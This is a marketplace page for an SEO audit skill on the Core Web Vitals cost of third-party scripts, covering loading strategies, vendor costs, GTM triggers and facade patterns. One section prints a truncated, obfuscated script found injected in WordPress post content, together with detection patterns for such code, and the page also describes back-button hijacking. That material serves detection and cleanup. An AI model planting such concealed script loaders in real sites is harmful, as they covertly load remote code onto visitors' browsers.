/seo-audit-skills:third-party-scriptsfrom seo-audit-skills
Audits third-party script impact on Core Web Vitals (LCP, INP, TBT). Covers async/defer/module loading strategies, vendor-specific costs (GA4, GTM, ads), footprint audits, and removal of unused scripts.
Ships in seo-audit-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Third-party scripts are the most common uncontrolled variable in CWV. They execute on the client's main thread, consume bandwidth, and can independently cause LCP, INP, and TBT failures.
<script async src="https://example.com/script.js"></script>
<script defer src="https://example.com/script.js"></script>
DOMContentLoaded| async | defer | none (blocking) | |
|---|---|---|---|
| Download | Parallel | Parallel | Blocks parsing |
| Execute | On download complete | After HTML parsed | On encounter |
| Order | Not guaranteed | Guaranteed | Guaranteed |
| Blocks HTML parsing | Yes (during execution) | No | Yes |
| Best for | Analytics, ads | DOM-dependent non-critical | Critical scripts |
<script type="module" src="script.js"></script>
Module scripts are deferred by default. They also support static imports and execute in strict mode. Use for modern ES modules.
// Load script only when needed
button.addEventListener('click', async () => {
const { initChat } = await import('./chat-widget.js');
initChat();
});
Use for scripts tied to user interaction (chat widgets, video players, complex forms) that do not need to load on page start.
| Vendor | Typical main thread cost | Notes |
|---|---|---|
| GA4 via gtag.js | 50-150ms | Lower than UA |
| GA4 via GTM | 80-200ms | GTM container overhead added |
| Matomo | 30-80ms | Self-hosted, no third-party DNS |
| Plausible | < 5ms | Lightweight by design |
Impact: Primarily TBT and INP. Rarely causes LCP directly. Fix: Load via GTM with DOM Ready or Window Loaded trigger instead of Page View for non-critical event tracking.
| Vendor | Main thread cost | Notes |
|---|---|---|
| Google Ads gtag | 100-300ms | Required for conversion tracking |
| Meta Pixel | 100-400ms | Loads multiple resources |
| Microsoft Clarity | 50-200ms | Session recording, high DOM mutation cost |
| Hotjar | 150-500ms | Session recording, mousemove tracking = high INP cost |
Impact: INP degradation is the primary risk. Hotjar and Clarity record mouse movements, which adds a persistent main thread cost on every user interaction.
Fix: Load via GTM. Configure triggers to fire after Window Loaded. Do not use both Clarity and Hotjar simultaneously — they do the same thing.
Chat widgets are among the worst CWV offenders:
Fix: Lazy-load chat widget after user interaction or after a delay:
// Load chat after 5 seconds of inactivity
setTimeout(function() {
window.Tidio && window.Tidio.init();
// or dynamically inject the script tag here
}, 5000);
Or load only when the user scrolls to the chat widget area using Intersection Observer.
External font loading delays text rendering (LCP if text is the LCP element)
and causes FOUT (Flash of Unstyled Text) if font-display: swap is not set.
Google Fonts — preconnect:
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=...&display=swap">
Better fix — self-host fonts:
<style>
@font-face {
font-family: 'Open Sans';
src: url('/fonts/open-sans.woff2') format('woff2');
font-display: swap;
font-weight: 400;
font-style: normal;
}
</style>
Self-hosted fonts eliminate the third-party DNS lookup and allow preloading:
<link rel="preload" as="font" href="/fonts/open-sans.woff2"
type="font/woff2" crossorigin>
Google Maps embeds load a large JS library (~300KB) plus map tiles. If the map is below the fold, this is pure waste on initial load.
Fix — facade pattern:
<!-- Show a static map image; load interactive map on click -->
<div id="map-placeholder" style="cursor:pointer">
<img src="/images/map-preview.jpg" alt="Location map" loading="lazy"
onclick="loadGoogleMaps()" width="600" height="400">
</div>
<script>
function loadGoogleMaps() {
const script = document.createElement('script');
script.src = 'https://maps.googleapis.com/maps/api/js?key=KEY&callback=initMap';
document.head.appendChild(script);
document.getElementById('map-placeholder').remove();
}
</script>
Same pattern as maps: the YouTube player loads ~500KB of JS immediately.
Fix — YouTube lite embed (facade pattern):
<!-- lite-youtube-embed or youtube-nocookie.com -->
<lite-youtube videoid="VIDEO_ID"></lite-youtube>
Or use youtube-nocookie.com embed and load iframe only on click.
Look for:
SF > Reports > Source Code > Custom Search for src="https:// — exports
all external script URLs, which can be grouped by domain.
PSI > "Reduce the impact of third-party code" diagnostic. Shows: vendor, blocking time, and main thread usage per third-party.
GTM is a double-edged tool: it makes it easy to add scripts, and easy to accumulate scripts that no one remembers adding.
Common tag bloat:
| Script type | Recommended trigger |
|---|---|
| GA4 page view | Initialization - All Pages |
| GA4 events | DOM Ready (for scroll, click) |
| Facebook Pixel | DOM Ready |
| Remarketing tags | Window Loaded |
| Chat widget | Custom timer (5000ms) or scroll depth |
| Heatmap tools | Window Loaded |
Scripts on "Window Loaded" execute after the page is visually complete → zero impact on LCP or FCP.
For scripts that must load in order (e.g., a custom dataLayer push before a GA4 event): GTM > Tag > Advanced Settings > Tag Sequencing > "Fire a tag before [tag name] fires"
This guarantees execution order without relying on trigger timing assumptions.
A third-party footprint audit usually inventories scripts in the theme, plugins and tag
manager. It misses scripts stored inside post_content, which only load on the affected
posts. Real pattern found on a WordPress site:
(function(){
q=document.createElement("script"); q_=("us")+("ta"); q_+="t"+("."); q_+=("in");
...
q.src="https://"+q_+qu; document.body.appendChild(q);
})();
The domain is built in pieces so a plain text search for it finds nothing. It loads an external tracking or ad-fraud script on every visit to that post.
Detection: scan raw content (context=edit via REST, or the database) for <script>
blocks that are not JSON-LD and contain createElement, appendChild, eval(, atob(,
fromCharCode or document.write. Exclude the site's own widgets by context.
Fix: remove the whole <script> block, treat it as a security finding (how did it get
in: compromised account, plugin, copied content?) and search options and widgets for the
same pattern. See wordpress-hidden-errors (pattern C7).
Google added "back button hijacking" to its spam policies on 13/04/2026: "when a site
interferes with user browser navigation", "preventing them from using their back button to
immediately get back to the page they came from"
(https://developers.google.com/search/docs/essentials/spam-policies, read 20/11/2026). It
is no longer only a UX complaint: it can lead to a manual action, and since April 2026
Google's changelog says spam reports may be used for manual actions (see seo-negativo).
The site owner often did not write it. It usually comes from a third-party script: ad networks with "back button" or "exit" formats, interstitial and recommendation widgets that insert a page of their own in the history, or popunder scripts.
Detection:
history.pushState /
history.replaceState called on load without a user navigation, and for popstate
listeners that redirect or open a new page. SPA routers use pushState legitimately,
so judge by behaviour, not by the presence of the call.CRITICAL (direct CWV impact or spam policy)
[ ] Back button returns to the referring page (no back button hijacking by an ad or widget script)
[ ] No render-blocking scripts in <head> without async or defer
[ ] LCP element not delayed by third-party script execution
[ ] No duplicate analytics tags (GTM + inline gtag.js simultaneously)
HIGH (INP and TBT)
[ ] Chat widget not loading on Page View (should load after interaction or delay)
[ ] Hotjar/Clarity not running simultaneously
[ ] Total third-party blocking time < 200ms (PSI "Reduce third-party code")
[ ] No scripts loading > 300KB uncompressed from third-party domains
MEDIUM (optimization)
[ ] GTM tag audit: no tags unused for 6+ months
[ ] Remarketing and ad tags on Window Loaded trigger (not Page View)
[ ] Google Fonts self-hosted or with preconnect + display=swap
[ ] Maps and video embeds use facade pattern (no immediate load)
[ ] PSI "Reduce the impact of third-party code": < 500ms total
LOW (maintenance)
[ ] GTM container size < 200KB (minified)
[ ] No deprecated scripts (Google Optimize, UA analytics)
[ ] Script inventory documented (what runs and why)
[ ] Coverage tab: no scripts with > 80% unused bytes on initial load
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
Other plugins' skills for the same job
Generated from the plugin's indexed repository (carlosuhart/seo-audit-skills) — no native marketplace selected
npx claudepluginhub p/uhartharper-seo-audit-skills46 skills in this plugin
/accesibilidad-wcagAuditoría de accesibilidad web contra WCAG 2.2 AA sobre sitios en vivo: axe-core 4.14 en escritorio, móvil y estados (menú, diálogo, formulario con errores sin enviar nada), recorrido real de teclado (foco visible por píxeles, foco tapado por cookies o cabecera fija, foco en contenido oculto, trampas, enlace de salto), reflow a 320 px, zoom 200%, espaciado 1.4.12 y árbol de accesibilidad; consolidación por criterio con severidad, confianza y patrón, protocolo manual con lector de pantalla y contexto legal fechado (EAA, España, ADA, Chile, Brasil). Use when user says "accesibilidad", "auditoría de accesibilidad", "WCAG", "es accesible", "lector de pantalla", "navegación con teclado", "contraste", "European Accessibility Act", "a11y" o "accessibility audit". No para revisar usabilidad general (ux-heuristica), velocidad (core-web-vitals) ni preparación para agentes de IA (seo-agentic), aunque las cita.
/ads-asistentes-iaEvalúa la publicidad dentro de asistentes de IA para un cliente: qué plataformas venden anuncios hoy (ChatGPT Ads, anuncios en Google AI Overviews y AI Mode, Microsoft Copilot, Amazon Alexa for Shopping) y cuáles no (Perplexity, Gemini, Meta AI, Grok), elegibilidad por país e idioma, encaje por tipo de negocio (B2B, SaaS, e-commerce, local), forma de compra y presupuesto, medición en GA4 y Ads, riesgos y coordinación con SEO y GEO. Entrega un informe de evaluación con escenarios y piloto propuesto. Use when user says "anuncios en ChatGPT", "publicidad en IA", "publicidad en asistentes de IA", "ads en AI Mode", "anuncios en AI Overviews", "Perplexity ads", "Copilot ads", "ChatGPT Ads", "AI ads", "advertising in AI assistants" or "¿conviene invertir en anuncios en IA?". Not for organic AI citations (seo-geo), generic Google or Meta campaign management (paid-ads) or ad copy production (ad-creative).